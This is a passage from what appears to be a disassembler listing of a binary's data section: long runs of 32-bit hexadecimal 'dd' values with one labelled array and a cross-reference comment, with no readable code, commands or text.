		dd 1670965h, 3472D05Ch,	554CCAF0h, 0E62559E5h, 91D0B5A6h
		dd 0E4FD9B26h, 88749180h, 3EB8120h, 0E1716289h,	0FA2DDBF7h
		dd 0B7A0BE56h, 0CD06246h, 5730D53Ch, 0E2061036h, 6375CC60h
		dd 0B1906192h, 3871DD1Fh, 5C2384E4h, 720652Ah, 7E6812A6h
		dd 7353A37Ah, 5E5F7B40h, 0B2DFB009h, 4A42D05Dh,	0B70445E8h
		dd 80170A71h, 16929A15h, 8FA12BEDh, 4BABDA7Fh, 0AC1273A2h
		dd 92A9FCE1h, 0B76BDDA1h, 0BBF85B4Bh, 5FF968B0h, 3F49189Dh
		dd 5F46B5CEh, 1EC5B55Bh, 62514F22h, 3BB750B2h, 0BDDBC9FEh
		dd 47D22872h, 70B76544h, 0ABFD4E31h, 0F2223039h, 0EA8852B0h
		dd 0D55E5173h, 0B57857ECh, 4F0DD2C2h, 0C5D6806Bh, 73C132EBh
		dd 0A008BD29h, 0C892608h, 577596D7h, 99404FEEh,	0F1C0CB5Eh
		dd 0D491637Ah, 38665863h, 3413E917h, 0C478EC01h, 0AB88B22Bh
		dd 212805A2h, 0C2EA89FBh
		dd 0DF0B57AFh, 27BE2486h, 1070EB03h, 0B60114EFh, 0A2E5208Ah
		dd 54BC8976h, 77FE6851h, 6BCAAFADh, 5DF97288h, 0E15E410Ah
		dd 0F2F1D208h, 78980212h, 25894D58h, 5A545282h,	9CB066CCh
		dd 5F12AC54h, 973B43A4h, 54AE2CE9h, 0CA88359h, 0B34E4067h
		dd 0EBD03E03h, 9997CB80h, 0E17B12F3h, 99C3E4F8h, 5BDC2807h
		dd 0E9E2ACB1h, 0F32C61F4h, 9663E32Bh, 0AEB4FBACh, 111F1990h
		dd 81680279h, 0B17E23CDh, 0E49CF282h, 762FD350h, 63C28208h
		dd 93E7DBB7h, 918BB4Bh,	7DB595CAh, 97FAB7DEh, 7EF0E025h
		dd 987D69FBh, 9FD90AACh, 0AB44CE2Bh, 472D4EEAh,	5E8158CCh
		dd 0B99ECC63h, 63ABE64Fh, 0EFE153EEh, 3ED1C22Dh, 4EFE8F51h
		dd 1E8CBE0h, 4AD65FCAh,	968304Ch, 76A814F0h, 0E18F3182h
		dd 0A2857D09h, 7FCECB4h, 0FB9AE4B8h, 0F9F0EB2Eh, 808169EAh
		dd 60D62716h, 0A240D8E6h, 1BB7A05h, 92D4A95h, 0FC741318h
		dd 96BA1085h, 3256813h,	6FEF7A61h, 0C6D1AA04h, 6EE4B9F6h
		dd 90F2F223h, 71AB31BDh, 0F87AC6FBh, 292EE749h,	68006DF7h
		dd 127E3A6Bh, 0B2350558h, 0EA72A327h, 0F3DF2681h, 7A40B800h
		dd 3A056026h, 5F9C6125h, 9202C6Eh, 0B41F396Ch, 8B058266h
		dd 2592EA35h, 0A6E1D4C3h, 0FB052D96h, 4186015Dh, 606E8575h
		dd 4D10DDABh, 6044EE4h,	0B20172E9h, 626809DEh, 8891FA28h
		dd 0C7D6F7F1h, 32465FCh, 9CC89F0h, 745DABC4h, 0F1173C3Ah
		dd 7D5C6007h, 434A3A68h, 0FC887021h, 0C1D61230h, 44C62D14h
		dd 0EC05D0B0h, 20AD3013h, 707AAA1h, 591411CAh, 0A9808984h
		dd 5E26561h, 4264EA68h,	52506641h, 0F6DCF760h, 44F771B5h
		dd 3ED0E1EAh, 97882CDCh, 8C9D930Fh, 68242E76h, 947BBA09h
		dd 0A438664Fh, 66F304C2h, 0AAF53743h, 8BECC016h, 86D101E4h
		dd 6B147802h, 54C087F2h, 531A3145h, 1916BB78h, 0F4B9EAC1h
		dd 725CC302h, 0C0F5632Dh, 0CFF78E71h, 0A9CC255h, 0EF4933h
		dd 3D39455Eh, 345B21E9h, 6A5138D9h, 31021B17h, 0C55D857h
		dd 624F644Ch, 258207EEh, 810550E9h, 388CCF8h, 3D366499h
		dd 0C02EBCC3h, 657ECDBFh, 0CBF69742h, 1318CCCCh, 4737DE67h
		dd 0F9C3037Bh, 0F3CF2077h, 30A563FEh, 0FE64B79h, 0BC029125h
		dd 31E9DA29h, 4E1E7A43h, 88B105C7h, 0D4A482E2h,	944CDBB8h
		dd 0B2B4F083h, 0DFF40180h, 2858E588h, 98E02EEBh, 646BE7AEh
		dd 388B93FFh, 0D1BC53A4h, 0A49B404h, 71A0AE0Bh,	20C86BBAh
		dd 4F3AF251h, 0CFD446A3h, 0ADF6BF2Fh, 0A3CADD69h, 8213CDD7h
		dd 103BEE9h, 5B0B0846h,	0FD26B863h, 612D4C80h, 50487045h
		dd 432B0287h, 0C0F80144h, 81C477C1h, 8025E320h,	426C5114h
		dd 0BB01DF2Dh, 61E20925h, 6120D353h, 0E34B5803h, 5B7E2332h
		dd 0D83F9940h, 131BA295h, 80BE00DBh, 0D14EDDFCh, 0CAA122FAh
		dd 1313C675h, 0CD5F4168h, 87252AEDh, 25040D25h,	29AAF57Dh
		dd 0A7C03E99h, 4EFF69A1h, 4F8A959h, 5EF37C5Dh, 4100F6EFh
		dd 1C28E20Ch, 451E562Dh, 6F85AC23h, 2486C872h, 9BE2488h
		dd 0C3DF1BADh, 189FC002h, 68770AFAh, 40607295h,	0F27F52A5h
		dd 0E78FD89Fh, 0A366C86Eh, 0C61E341h, 0E57151C5h, 0B642EBC1h
		dd 154ED777h, 95B64A80h, 0C1DC93BDh, 8A2B9371h,	377F5091h
		dd 261B5ED4h, 0E509B0C5h, 40CCD1ACh, 679E2BFDh,	0D4070500h
		dd 6FE99861h, 878C994Eh, 3413572Dh, 5188256h, 0EE5F0785h
		dd 7B1C6801h, 82812FA5h, 7381A14h, 73F931E9h, 3FA410C8h
		dd 1890267Dh, 5D506913h, 3D90285Ah, 0F20296E6h,	7CCEEC1Dh
		dd 238D2C7Eh, 0DD060290h, 567EDC72h, 91E7A08h, 5A45D029h
		dd 0E002ED2Ch, 0E2201C18h, 480D454h, 85AB1F9Fh,	0BC8BAA54h
		dd 1FD0F717h, 4F46958h,	0C44B5161h, 27A5868Dh, 2DFA8739h
		dd 0DB6741CFh, 0FBA3C42Ah, 80415BCDh, 427E2FEBh, 857B8FA4h
		dd 0CA4D16E0h, 0AD7953BDh, 0E48B751h, 0C1516669h, 0C36A9728h
		dd 1E0C852Eh, 0C40FE15Fh, 8E9CAF9h, 6B16C524h, 3E952DEEh
		dd 9D51CDF0h, 0B356A3FCh, 53BD01FEh, 7F44F366h,	1C380089h
		dd 28318706h, 97170F0Fh, 0B18AE09h, 0A1BE560Eh,	0B32E2909h
		dd 7EE9C1A4h, 6B23012Ch, 87085224h, 31D82966h, 7E25102Dh
		dd 0E2D29CA2h, 0EF83872Fh, 0ABCE97FFh, 0DFEDE909h, 6F8211FEh
		dd 414AF046h, 0A4258DF6h, 56F8F741h, 0FCEB4D93h, 0C84A2771h
		dd 7D9D151Bh, 0C05C970Bh, 8BD07B0Ch, 67080BBFh,	485D28BDh
		dd 933EF44h, 0E9D6DF9Fh, 0F2BB18D2h, 0AC9DEA03h, 2CE9989Eh
		dd 0EB69C048h, 20BE4E5Eh, 6397D7F6h, 0D3C33115h, 1DA33C9h
		dd 92F8635h, 0A90B292Ah, 170C9BFFh, 43BE68FAh, 172FE9FFh
		dd 9BDF2D28h, 4720100Fh, 0EEF7A441h, 48BCF7AFh,	17280412h
		dd 0A4877A20h, 74EC90D9h, 0E230D7F8h, 1B163BDBh, 0CA0605E1h
		dd 0F4A68B66h, 5AF7028Eh, 995ED7F6h, 8FFEC9CFh,	5800504Ch
		dd 14B2CD81h, 68165503h, 0F6B3356Fh, 90398605h,	0E175853Fh
		dd 13E03E46h, 5DEF4060h, 2AC95648h, 0B1071BB4h,	79C1802Fh
		dd 79FDA6D2h, 0FA25ADE0h, 6212FF8Fh, 6EE979FAh,	810086A2h
		dd 0F88626F2h, 0ED2D6897h, 9232D164h, 7417AED7h, 0E98F67ADh
		dd 11E6A4A2h, 0C12F1176h, 67A6CE14h, 786804E3h,	960CF845h
		dd 0E93270AFh, 149CCC79h, 0E2272C64h, 0EA50B4Eh, 5B7AB5Ah
		dd 0CB8B572Dh, 24B35453h, 22E9C1D9h, 4844B261h,	0D68A081Eh
		dd 13BCAE82h, 11ADD46Ch, 4BBF930Fh, 0F81CAFD2h,	9AE9D5C5h
		dd 0BD4E3CE0h, 0F39F8E78h, 25D0ACD4h, 7AA59DE5h, 1D0518ECh
		dd 2F695E5Bh, 81030CE4h, 6B2A33E5h, 0A9F5B01Eh,	1B442456h
		dd 235401B5h, 6A09740Bh, 0FFEB6FD1h, 0B878248h,	37C66850h
		dd 1FDBC630h, 54125E2Dh, 0E0ABC7F4h, 0A0E91139h, 0F5C22D6Bh
		dd 0CEC77611h, 5BFE33CAh, 0D7EEAD09h, 45FD1A1Ah, 0E3A5B925h
		dd 402781D6h, 3BE7BB6Ch, 0A95CD74Eh, 0C5633304h, 0AE1AF6Eh
		dd 5F5B0802h, 19018E0Fh, 0EAE94CB2h, 0E7C1A8A1h, 0E0CA2002h
		dd 4590141Dh, 3CD3CF81h, 40300568h, 0F2FB82AAh,	0B57F18Ch
		dd 0B6D8601Eh, 296B0DBBh, 7CBA7A0h, 1BD06C17h, 5EBEE416h
		dd 4FA7AF8Bh, 0B56D35Fh, 7C5BA825h, 736805D4h, 60CAAB54h
		dd 7C5D294Eh, 4C34C63h,	4B332CFCh, 0AB050708h, 46FF6999h
		dd 0E6109879h, 92C9683Ch, 5C001D2Bh, 0A9667DF2h, 58759606h
		dd 68253D22h, 0CF85D70Eh, 7BC2E1E8h, 9F2D388Eh,	9F93FA70h
		dd 0D8B91831h, 0C51AF82Ah, 0B9441657h, 9F808E5h, 0F20E8048h
		dd 2B2C348h, 7C092D3Ch,	0E7DC840h, 0B8DBF680h, 3B4D73E2h
		dd 0E31842F3h, 28E612A8h, 74D2DD5Ch, 64AE015Ah,	4F3B0D12h
		dd 0ACA88A1h, 708439B9h, 0FCFA7FEFh, 7214883h, 68102EA1h
		dd 0C257D993h, 2F9256EEh, 0F2788359h, 4E89ECCFh, 3842EA47h
		dd 7F5DEE31h, 14CE7248h, 64185617h, 8B4AD30Ch, 6329008Dh
		dd 0D5F18147h, 67289C4Ch, 0E74EDE89h, 4F5294C6h, 552A22B5h
		dd 5A16FAF6h, 41811F98h, 0A4E9693Ah, 0FA5CA5AFh, 0E7BD59C8h
		dd 52665A05h, 0C0AEE5D1h, 405E0659h, 85577E9Fh,	816711D6h
		dd 0C32BFD50h, 3E7F9985h, 2E4876B2h, 2346D605h,	769BED09h
		dd 31266918h, 2748AD0Ch, 0D5C1F1DCh, 0F309C2BDh, 7F54AD05h
		dd 3316FD72h, 7FDA7095h, 680C89D6h, 72F001DEh, 0F4B97B98h
		dd 0B8C0BA8h, 58504282h, 8A0B4D4h, 0C8015D12h, 4FC016A4h
		dd 0C1F8FC0Ch, 363B02E2h, 35A9C02Eh, 0D50B4AABh, 60DFE97Ch
		dd 492768F1h, 0CB82A070h
		dd 0D4600D3Dh, 4082D7D4h, 5A295745h, 2F9DC06Ah,	1F5B8A83h
		dd 0E70709FDh, 9BDA1D80h, 0FD06BDFEh, 0D2A604Dh, 6C0B0F9Fh
		dd 19C77CB4h, 0DD7EC8FEh, 82240E22h, 0A454A5D0h, 1A89DD69h
		dd 0CE078377h, 0EE8705D5h, 0B8136B7Eh, 44950494h, 0D2FA5A59h
		dd 4A4B0270h, 3FF187F9h, 4968F40Fh, 82AC714Ch, 0CBDA57B0h
		dd 203B57D6h, 82B8009Ch, 50FA24Bh, 0A9030B11h, 2DD8F736h
		dd 17A7A9E2h, 5BD40F82h, 7EC16DC8h, 0FEB00429h,	6E7C4146h
		dd 0E58BEAB0h, 4A4CD01h, 68A031A8h, 45BB660Bh, 0D1F63707h
		dd 0B708D926h, 178E5488h, 0F5664EDEh, 12E1CFE4h, 3F8505FBh
		dd 0D58DD79Bh, 59A849A7h, 0D28CBFF6h, 57FDB4Dh,	21304177h
		dd 93ECC5h, 431F59F9h, 9702E6E9h, 68F807E6h, 6D7AFE2Dh
		dd 32752594h, 0F72FC179h, 34B66800h, 800B1DAAh,	47B3FA58h
		dd 700B8325h, 0E96E0838h, 933F4534h, 0A1B8FFEDh, 3130D6B1h
		dd 7FEC2EAFh, 6B1AC502h, 8AC228F1h, 0D6FFC14Bh,	0CB059C4Fh
		dd 89BCC2EFh, 583BE0AAh, 41C013B1h, 0F1FA3759h,	0C6548012h
		dd 65016424h, 290360E3h, 408EA72Fh, 2F2CEF1Fh, 0CE00AAFAh
		dd 68725949h, 961B7DE9h, 150BE993h, 0C52583F6h,	0B392BF69h
		dd 0FF6EC91Fh, 3A2CAEC9h, 220541D0h, 21672546h,	0A0D50EEAh
		dd 61E18A4h, 0E3D12D1Ch, 0C08D7860h, 8B015927h,	82E1DE25h
		dd 41E57015h, 61F2E2DDh, 69F025Bh, 22CDC105h, 3474F958h
		dd 7E3BA095h, 6F3DCFBh,	73A761Ah, 408A130Ch, 8B3D1E2Eh
		dd 0EAF1011Dh, 0EEB00C12h, 222D055Fh, 0A1477728h, 68F28507h
		dd 0E2F84482h, 6A6EB0C0h, 9C053574h, 295A3E4Ah,	0F1C1D15Ch
		dd 17B9950h, 1A41C43Bh,	0B0D41C08h, 7E5A2E0Bh, 0E95B40B7h
		dd 48978C68h, 0E10C2F8h, 1307E6Eh, 13A68ADFh, 0B5F382E9h
		dd 44617F36h, 5709F273h, 8628980h, 0D3EF1B43h, 62519AF1h
		dd 0E4B52753h, 5C0F0F3Eh, 0FA69202Fh, 3A5BE0E1h, 95006929h
		dd 1A6B3EF4h, 92CA0136h, 975080Ah, 92D7FA17h, 16485F0Ah
		dd 0AD062C6Eh, 0C885E933h, 0FC77D9Bh, 0F25A49EFh, 0DF67AAF3h
		dd 0D7224DE7h, 0AD8C80C1h
dword_4F0044	dd 0D7409856h, 0AFE1E50Ch, 70EDCAB2h, 2668E9A0h, 533E004Ah
					; DATA XREF: ___:004385A4o
		dd 9E7D8BBBh, 21401F58h, 92B9812Bh, 7B059526h, 0BC5B8CA0h
		dd 29BF0BE0h, 559EE870h, 5782FC2Ch, 0D8306850h,	5CC19070h
		dd 128131C3h, 0EDD3DF5Fh, 0B3D6C1Fh, 84A13558h,	2DE84C9Ah
		dd 0F703FFCCh, 0C48ED049h, 0AA122145h, 202C6E61h, 5504E936h
		dd 0C0673F7Dh, 6315D05h, 64E90213h, 99BA3616h, 3E993F6Bh
		dd 89809B61h, 0C5FE8AB5h, 8074E5D0h, 3D25617Eh,	0BDEDD3BEh
		dd 17AC3B98h, 2F165BF5h, 0BB11271h, 90EFCB21h, 0F6CF5AE4h
		dd 9D0EC058h, 566D5E60h, 0AC7A84FDh, 3181EC50h,	0C82A939Bh
		dd 74E3837Dh, 59B4D5BAh, 9D80D052h, 6813C766h, 91A86C59h
		dd 0BF37EC4h, 2068DB09h, 4D39008Ch, 0E9402AABh,	0CB9922A2h
		dd 0D55A17BCh, 237A49D1h, 0DD48D707h, 0EDED9282h, 0C5FDF5E5h
		dd 0B7EFFEF4h, 12E45D68h, 4B0B592Eh, 0D867C103h, 58D9AF6Fh
		dd 7DEFF2CCh, 98C3404h,	4AC7A810h, 680976CAh, 0D1B01E50h
		dd 0C0132CC2h, 86E52D11h, 7B21DAD6h, 30524B68h,	435BE5DFh
		dd 0B820A098h, 1FB23B27h, 0E9756A92h, 52C3004Dh, 895839D7h
		dd 77F3B5C7h, 2EC09320h, 4F352D6Dh, 729A3A30h, 79542287h
		dd 0EFEAB018h, 0D0902E6Ah, 0E94F5805h, 34E7F0E5h, 61FA4A7Fh
		dd 3B6F496Ch, 0B5A16931h, 169E4328h, 0CD20FF5Eh, 4E086131h
		dd 500BFC6Eh, 7140332h,	7DB534DDh, 7C585B78h, 0E750552h
		dd 0CE8078F7h, 4850587Dh, 77E2412h, 176BDFC9h, 0C2487266h
		dd 1F2D51B0h, 0D577E818h, 0B826793Ch, 0A2297616h, 5C0809E1h
		dd 66CBCC88h, 4928B95h,	0F4106AABh, 0B141430h, 84240FC9h
		dd 55891A41h, 2105854h,	3A2A3283h, 28C8E2C1h, 454C3C37h
		dd 0E6A1BB9h, 96CAB12Fh, 0E65974h, 25116C4Bh, 3F777C47h
		dd 9698BFB8h, 77253096h, 0AC68EEA1h, 758C2A01h,	753B0066h
		dd 47E28177h, 3E3CF94Dh, 0D951A7E9h, 0B41216E1h, 6801E32Eh
		dd 831D6F35h, 929D01EBh, 0F0FC2D15h, 9763CE2h, 0BB989877h
		dd 6CB99EB7h, 547D5680h, 0F1DDA42Bh, 3572B71Fh,	420BDF68h
		dd 5647BBF9h, 0D0B82EF4h, 0F609674Ch, 0E70929ACh, 135F22DDh
		dd 4EE657DCh, 0D04D0C0Bh, 3D51E82Dh, 74451C60h,	659AAF29h
		dd 9FE90C01h, 62A057E5h, 0BC486530h, 90B4F01h, 0E0295E6Ch
		dd 25E9C385h, 0AEF9AEBAh, 84A8E01Bh, 9359A9Ch, 30621BB8h
		dd 578DF004h, 0B90EE0ACh, 13EB50E0h, 9D2D6A40h,	3C220F1Eh
		dd 89E9E885h, 881386BDh, 10B1A36Eh, 8A106B3Bh, 0B912172Ch
		dd 4A5F5CC8h, 0C2A78822h, 12EE9D4Ch, 2D014A4Fh,	576E4905h
		dd 7800B17Fh, 3AF1706h,	6E8436B3h, 0D27AFD49h, 821074AEh
		dd 8BD782D5h, 27B6F795h, 1725C292h, 6CA2256h, 20FC4C34h
		dd 5FA3DA73h, 38268FF9h, 36F692D0h, 0A4A29524h,	0D568C1E3h
		dd 19F83649h, 0C48B3C5Ch, 0A8887960h, 78B35394h, 0C09C2C5Dh
		dd 32D8A529h, 80E4F620h, 7AC772CDh, 12C92460h, 0D58DC255h
		dd 0C002237Fh, 0E27125EAh, 5F0FA116h, 0CF33A84Ch, 443AC0CEh
		dd 4BE94E32h, 3C7FDF5h,	5079F1F7h, 7F72D9F2h, 5C8E351h
		dd 3591212Fh, 0A529025Eh, 8602EED9h, 60B8388Eh,	9959CE2Dh
		dd 0A13F1340h, 63B06AEAh, 7F1917D0h, 2B1EBFBFh,	282DCA41h
		dd 796459AAh, 79BB3F29h, 1A5C2A6h, 3516D2C1h, 700A7A38h
		dd 5A1308E9h, 7CAA8FFAh, 38114025h, 90F766EAh, 29A92BE6h
		dd 546717C9h, 0B8221A65h, 0DFF5E195h, 0DBB057EAh, 97776855h
		dd 9259182Eh, 7BBBD424h, 0C914572Eh, 0E918B560h, 40495A44h
		dd 531CF1E3h, 0D6C05732h, 0A15AB2A5h, 58A90905h, 73781E3Bh
		dd 37E90780h, 0B689E24Ah, 0F1FD913Ah, 0F97FC2B2h, 1CDFA798h
		dd 4BBD90F7h, 1042F31Eh, 0B540BAF8h, 0A05203A6h, 42050D1Ah
		dd 3E0B29FFh, 0FDFE9550h, 61255E06h, 0D67C531h,	44E16858h
		dd 7CD1E95Bh, 0A8B9E4D5h, 4771AF85h, 8457C1A8h,	3613BE05h
		dd 0E5D383A2h, 1CF76AB7h, 9480E985h, 0CBAA01BDh, 3F9416AEh
		dd 0FA6691A1h, 0A716A44Fh, 355EE40h, 65026DBDh,	85E24D3Eh
		dd 0D56909D5h, 46FF0632h, 1B5E2767h, 6809E267h,	519BF70Eh
		dd 9DFD435Ah, 17F51EC4h, 680520FBh, 4C9D4B20h, 8D214B95h
		dd 6D78E40Bh, 0D2752FE1h, 0D2F4E6BAh, 5D795DD8h, 0AE87B2DCh
		dd 80291456h, 70AC2FBFh, 5FD1494Eh, 0ABFC21EDh,	0B1A8B539h
		dd 0E6682508h, 41800676h, 40DAEFC1h, 0E5AD12BBh, 480ABC60h
		dd 4E98983Eh, 0F7265543h, 6BCE825Eh, 5B67F0C5h,	502DA71Bh
		dd 0D995ECB9h, 522C93B7h, 7D71AF80h, 0ED33196Eh, 8235D735h
		dd 8AC8240Ch, 31F90159h, 0D03A4811h, 4DFC5A4Fh,	3314E9B0h
		dd 776744Ch, 71D975A8h,	40BDACA4h, 94AEA1Eh, 48E2C47Ch
		dd 515C39C0h, 0D4050A27h, 0A576020Ah, 8986435Fh, 50F837F9h
		dd 71C85916h, 42F62CFEh, 0BE4EFA4Ah, 6B5E7E30h,	2F5201D6h
		dd 0E0CBEAB8h, 0E7D119A1h, 0F057CAC1h, 0B587FA78h, 5D5CB961h
		dd 2041FC6Bh, 6BBFF99Dh, 3186107Dh, 2CAD98D0h, 92436FE9h
		dd 0F97B985Eh, 0C3CFAF60h, 5B08027Fh, 0F10CB1E2h, 0CB400659h
		dd 33595248h, 0FEE9C94Fh, 0D5F78D35h, 0D3BEE408h, 0E45FD0CFh
		dd 0B68FEBh, 0D483803h,	0B4CE7BAh, 84BE4C0Ch, 0C71474DAh
		dd 12E30E10h, 65EECA68h, 4A8BABEBh, 5F0CE90Dh, 1AA1E0CBh
		dd 4A02B825h, 5F080286h, 0B7E96053h, 6A00939h, 0A0F54D5Dh
		dd 36BCED59h, 0AFD44F07h, 42C20600h, 0C0291E35h, 3A79F50Ch
		dd 9D2EE91Ch, 805A48CBh, 46685101h, 12612708h, 0C55F91D7h
		dd 2FCFF92Eh, 0BA0E565Fh, 891308Ah, 86550C7Fh, 45F4C1C3h
		dd 7A97D1FAh, 4F2C26F7h, 8802EA5Fh, 0D12FD3BBh,	3D82896h
		dd 7916449Bh, 4E40D129h, 7B958708h, 1DE90630h, 0C702374Dh
		dd 32B47E06h, 0BC38FA5Ah, 0CADF42B4h, 504228D4h, 5AA48056h
		dd 0B86A1C29h, 35F12064h, 785769Dh, 0F766CCEDh,	9A216F7Dh
		dd 20419F40h, 719D3F8Ch, 0BDE4EF7Bh, 0FD8AAAAFh, 5E5F5605h
		dd 75CDEB31h, 9DB62F30h, 715D2A62h, 0B58566D9h,	1EDE7E9Dh
		dd 79B5227Dh, 0BE56406Dh, 9D2D48A0h, 13DAD847h,	0F0B862B7h
		dd 0FC2568F2h, 1DEC651Ch, 0FB74ED8Bh, 7D7D6471h, 596E9904h
		dd 0A900B452h, 5E92751Eh, 0DBBF5741h, 4BE6B861h, 3061DF9h
		dd 0E0F792D1h, 4B1612EDh, 0A6E959B7h, 0D3780E27h, 2AC23CDDh
		dd 7F4F2E35h, 2813E0DAh, 0FD014CA1h, 5A0B4D1h, 0ED213B93h
		dd 49F07A8h, 95D03933h,	98681F02h, 0FAFB2E4Eh, 4E906967h
		dd 46BD5EB2h, 3DB9509h,	0BA965649h, 96A0A24Ah, 320D29EAh
		dd 0FA4A10EDh, 75A4BB02h, 0BD607998h, 2AEE3E56h, 9E764A98h
		dd 5F1F1620h, 0A266805Bh, 47092672h, 44106DE9h,	0C3303D8Ch
		dd 6B8EB419h, 6C15DCFAh, 5FF80FC5h, 7A3222BFh, 46AB5904h
		dd 0A3C1EB96h, 0D0F668C4h, 0FC0B7A82h, 80D66068h, 26FAEAC3h
		dd 4701032Dh, 295C07D3h, 9FE4AB77h, 16DB8080h, 0BB48CC01h
		dd 737936BAh, 0E910386Ah, 90189924h, 0F89C5B64h, 0BDC440EDh
		dd 0E373209h, 0A02C112Ch, 2771A5C0h, 2C1A6C29h,	995D0C05h
		dd 0E41B60D2h, 0B0F18DA6h, 0F1B41012h, 9CC13880h, 40A08D50h
		dd 689D8922h, 7354CCFEh, 3082BF1Bh, 46C1C621h, 79680080h
		dd 2AB13D5Fh, 541AD317h, 50073C25h, 6F723454h, 2EEEA6A1h
		dd 0E0812AD2h, 42CAD622h, 81B880Dh, 0FD50E905h,	0F7479692h
		dd 557D8046h, 4DBB5303h, 0F116E36Ah, 0FAD8CAF3h, 0A100957Eh
		dd 0AE443ABDh, 5AB99858h
		dd 0F22B68A1h, 63FACC6Ah, 413EB055h, 0C39B3082h, 2CBA5213h
		dd 0E2D92E89h, 73ABA93Bh, 60440405h, 0AAE29BDh,	0AFA7D4BCh
		dd 0A46C7981h, 8E4CEC2Eh, 0C713BBB1h, 0B95168B3h, 0CC05AC6h
		dd 5F10DEDh, 567901E6h,	12DC6049h, 50915429h, 1539AB6Bh
		dd 20BA894Fh, 56321066h, 42F324A7h, 5AC5574Dh, 0A6D0410Ah
		dd 54025CACh, 0D57CD257h, 24080128h, 210C2792h,	2114591Ah
		dd 38D95BD9h, 14FC1724h, 0FA7224FFh, 0B551DDF5h, 8A2F9DC1h
		dd 4756140Ch, 4397010Bh, 0FB3111D2h, 0A9D1E2F4h, 6171DAA9h
		dd 4E69E1DFh, 0F2020539h, 0D0C83F2Fh, 12198177h, 5C3C6F35h
		dd 4D500448h, 4F578A73h, 27141D76h, 8BE98F38h, 2949EF92h
		dd 37E67DC2h, 514C38E6h, 2CE3D51h, 68AB09EEh, 20527899h
		dd 594C60A2h, 0A1B1071Dh, 7FAEC980h, 2C0E3EA6h,	8AEA13D1h
		dd 0EF8905F5h, 0A7B8DEE9h, 5074050Eh, 0D0F73F00h, 7D036C35h
		dd 0E0C16FB9h, 4C19C004h, 0E0204E2Bh, 0CB40FC31h, 308414B6h
		dd 9F1CF4F1h, 64D6202Eh, 4866DCF0h, 0FD24A49Bh,	120820ACh
		dd 0BCF5E4E9h, 5753C155h, 0C88B6852h, 0C03262Fh, 3DF2CEEAh
		dd 0AFC7BD8Eh, 0AC7825AEh, 84D44E7Eh, 40064FC2h, 5012352h
		dd 39E964D6h, 0C9F04E09h, 33F659E2h, 457640D7h,	4D6D2526h
		dd 0E22004D4h, 71177902h, 61F101A9h, 353D9038h,	0D42D2477h
		dd 245C8426h, 0A208BE0Ch, 0B5A1C4Bh, 0EF0E58C7h, 4B0A524Bh
		dd 0A4471620h, 280F8B9Ah, 854326D5h, 77129671h,	589309C2h
		dd 1D1BD69h, 0A3830A4Fh, 523EC96Bh, 0C32A2D61h,	0BFB52953h
		dd 884BCF8Bh, 860C0548h, 0CA32080Dh, 5107A02Dh,	0FAD17288h
		dd 0F5584C59h, 0BB4167E1h, 0E64534E1h, 0A4C2ECC7h, 6392D7F7h
		dd 22966C78h, 16BEF565h, 149AEFB8h, 4D20DE4Ch, 4562599Eh
		dd 4FE775E7h, 7A0224A4h, 4060CD3Dh, 7339DB28h, 0B8214A2Ch
		dd 288915CBh, 1FBB0343h, 0E969A17Dh, 283BACE3h,	0E5BD5928h
		dd 0E956851Dh, 0AFBB5636h, 7861E2Dh, 55A352E9h,	307DDF4Ch
		dd 0D4EEE3F2h, 4C343D3Ch, 11A108Bh, 0B24D1677h,	0D4536154h
		dd 30614B23h, 55C29CE2h, 0E24C7DB9h, 0CF685D9Dh, 61C4A25Eh
		dd 29827EC5h, 0AB70DD40h, 28590881h, 9851090Ch,	0F1627D33h
		dd 17910808h, 7F31A1DAh, 9D682A38h, 0F15D5642h,	0CD44BDCh
		dd 4A98108h, 0B3503768h, 0A1A132F5h, 0FFB2A95Ch, 129DD482h
		dd 0C44E1BDCh, 0BD4B6BABh, 0F5806C2Eh, 0F722605Fh, 0F0E9DD5Bh
		dd 95296B06h, 631C0C51h, 0D2A524EAh, 0FACA0030h, 0E9036F0Fh
		dd 40824249h, 7A3BE1DEh, 0FB292C02h, 2D7B8222h,	84DE57C3h
		dd 0A93E5351h, 74FBA71Eh, 0C9905A7Fh, 799DE4CBh, 0F68107ACh
		dd 8B800244h, 16EECE75h, 0DDA955E9h, 5F0BECC0h,	9F68449Fh
		dd 0C05EAF84h, 370D05ADh, 7C782C0Fh, 0C2C41DD1h, 0AF81F52h
		dd 0FB189300h, 0EFC7E937h, 5E8419B9h, 0E6AE5455h, 9AACD393h
		dd 0CE6904B4h, 765809DBh, 0FB88C40Dh, 34E4F961h, 1C873C6Fh
		dd 44E72610h, 194B56CEh, 0B9683B04h, 0F2F602ADh, 0F87D2A08h
		dd 0D1292746h, 0AB09A3D2h, 0F0531E7Ch, 0E90780CCh, 9E81E599h
		dd 9A71472Dh, 79C47B16h, 796AC181h, 0B47B2EFDh,	9304F56Ah
		dd 21A1609Bh, 0EA8BC4h,	0E42B19C6h, 0C5BF51CBh,	0B69AA7A4h
		dd 73E7A75h, 5F7356F2h,	0ACC2604Ch, 7F096FA3h, 0F6CBE6E9h
		dd 66434230h, 171E900Ch, 0BE2E4E73h, 0C836FB18h, 40BF4C7Dh
		dd 58C0D439h, 50D25697h, 0BABF2176h, 31E155BEh,	0FD203B34h
		dd 9E4A9868h, 0C22B7233h, 73B26F68h, 84FE19C9h,	12FB9301h
		dd 0E760BF80h, 511B61E9h, 0EC202801h, 0A5CF54C9h, 392014F3h
		dd 0DE26FCAAh, 236A463h, 61F869C4h, 257E0962h, 15375000h
		dd 2FE94B45h, 0E4F4CA57h, 0AB27B2CAh, 88025F42h, 5C04F6B1h
		dd 1FF7C1EBh, 589D599h,	955FC2FAh, 1CEAE440h, 993E5B7h
		dd 3B7DB2DFh, 0C770D9FAh, 0B5221659h, 381E6826h, 322DFE5Bh
		dd 9531A530h, 16EC5254h, 69A18ACFh, 7BBF3F6Eh, 0C41529A1h
		dd 258581B0h, 0B97E21F9h, 8D68A451h, 145F5E13h,	4027667Ah
		dd 1C3565E0h, 55B26216h, 9F7C29BCh, 0F4E9FCF8h,	0F1623E6Fh
		dd 0B055442h, 0F0BF8701h, 7C4FE10Fh, 0AAA015Ah,	0D5E94231h
		dd 116D326h, 472A01C2h,	3523635Dh, 7B9A659Bh, 94E97F42h
		dd 4B245786h, 222C497Fh, 0D543933Bh, 0B98A7E96h, 0AB5AE884h
		dd 0C868603Dh, 0DD895501h, 577D1568h, 0A01ED52Eh, 0ED2DC0B5h
		dd 7BD7C04h, 60FD30E7h,	5A7E685Bh, 542C23BBh, 4C2F011Ch
		dd 9AC7884Eh, 12222630h, 94F4040h, 0F79C3117h, 0A8B82A0h
		dd 59082427h, 0B9516287h, 4C292683h, 49892848h,	515A07B0h
